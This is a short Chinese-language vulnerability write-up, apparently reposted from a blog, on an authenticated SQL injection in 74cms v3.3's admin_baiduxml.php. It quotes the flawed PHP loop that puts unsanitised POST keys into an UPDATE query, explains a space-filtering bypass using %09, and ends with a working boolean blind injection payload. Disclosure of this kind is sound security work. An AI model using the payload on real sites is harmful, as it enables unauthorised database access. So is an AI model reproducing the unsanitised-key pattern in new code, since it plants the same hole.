74cms v3.3 后台SQL注入

注入存在于后台 admin_baiduxml.php

代码 52-63行

elseif($act == 'setsave')
{
        $_POST['xmlmax']=intval($_POST['xmlmax']);
        $_POST['xmlpagesize']=intval($_POST['xmlpagesize'])==0?1:intval($_POST['xmlpagesize']);
        foreach($_POST as $k => $v)
        {
        !$db->query("UPDATE ".table('baiduxml')." SET value='{$v}' WHERE name='{$k}'")?adminmsg('保存失败', 1):"";
        }
        refresh_cache('baiduxml');
        adminmsg("保存成功!",2);
}

这里可以看到 用了 foreach 对 $POST 进行遍历,没有对$k 进行处理

!$db->query("UPDATE ".table('baiduxml')." SET value='{$v}' WHERE name='{$k}'")?adminmsg('保存失败', 1):"";

虽然上面两行对 xmlmax 和 xmlpagesize进行了 intval操作,但是用户可以提交如下数据 那么这里b参数就没有进行任何处理导致注入

xmlmax=111&xmlpagesize=112&b=aaa

空格变为了_

可以用%09 代替 空格 

最后bool盲注 payload:

xmlmax=111&xmlpagesize=112&b'or%09if(1%3d(select%091%09REGEXP%09if(1%3d12,1,0x00)),1,1)%23=aaa
原文地址:https://www.cnblogs.com/depycode/p/6699847.html